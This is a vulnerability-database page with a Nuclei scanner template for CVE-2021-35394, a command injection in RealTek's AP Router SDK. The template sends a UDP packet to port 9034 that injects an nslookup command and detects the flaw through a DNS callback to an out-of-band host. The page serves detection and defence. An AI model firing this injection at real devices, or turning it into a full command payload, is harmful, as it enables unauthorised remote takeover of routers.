SecurityContext

CVE-2021-35394: RealTek AP Router SDK - Arbitrary Command Injection

Classification

  • Epss score: 0.99873
  • Epss percentile: 0.99963
  • Checked, none or zero: cwe
  • Not known: cvss score, cvss vector, cpe

Metadata

Labels

  • Name: SDK - Command Injection
  • Impact: Attackers can execute arbitrary commands remotely, potentially leading to full system compromise.
  • Remediation: Implement input validation, restrict access, and update the SDK to the latest version with security patches.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2021-35394
  • Not known: requirements

```yaml

id: CVE-2021-35394

info:

name: RealTek AP Router SDK - Arbitrary Command Injection

author: king-alexander

severity: critical

remediation: Apply the latest security patches or updates provided by RealTek.

description: The SDK exposes a UDP server that allows remote execution of arbitray commands.

impact: |

Attackers can execute arbitrary commands remotely through the exposed UDP server port by sending specially crafted commands to RealTek AP Router SDK devices.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2021-35394

- https://blogs.juniper.net/en-us/threat-research/realtek-cve-2021-35394-exploited-in-the-wild

classification:

epss-score: 0.99873

epss-percentile: 0.99963

tags: cve,cve2021,realtek,rce,kev,vkev,vuln

javascript:

- pre-condition: |

isUDPPortOpen(Host,Port);

code: |

let packet = bytes.NewBuffer();

let message = `orf;nslookup ${OAST}`

let data = message;

packet.WriteString(data)

let c = require("nuclei/net");

let conn = c.Open('udp', `${Host}:${Port}`);

conn.SendHex(packet.Hex());

args:

Host: "{{Host}}"

Port: 9034

OAST: "{{interactsh-url}}"

matchers:

- type: word

part: interactsh_protocol

words:

- "dns"

digest: 490a0046304402204535cc405e6ff26b051c1a0299a960439541ec27dbbd9f6695c5c50549f457c902201ac79cbdfdb27ec4def5f49713190d0d30f3b79073bf7657fc7ccaf0c2a346a0:922c64590222798bb761d5b6d8e72950

```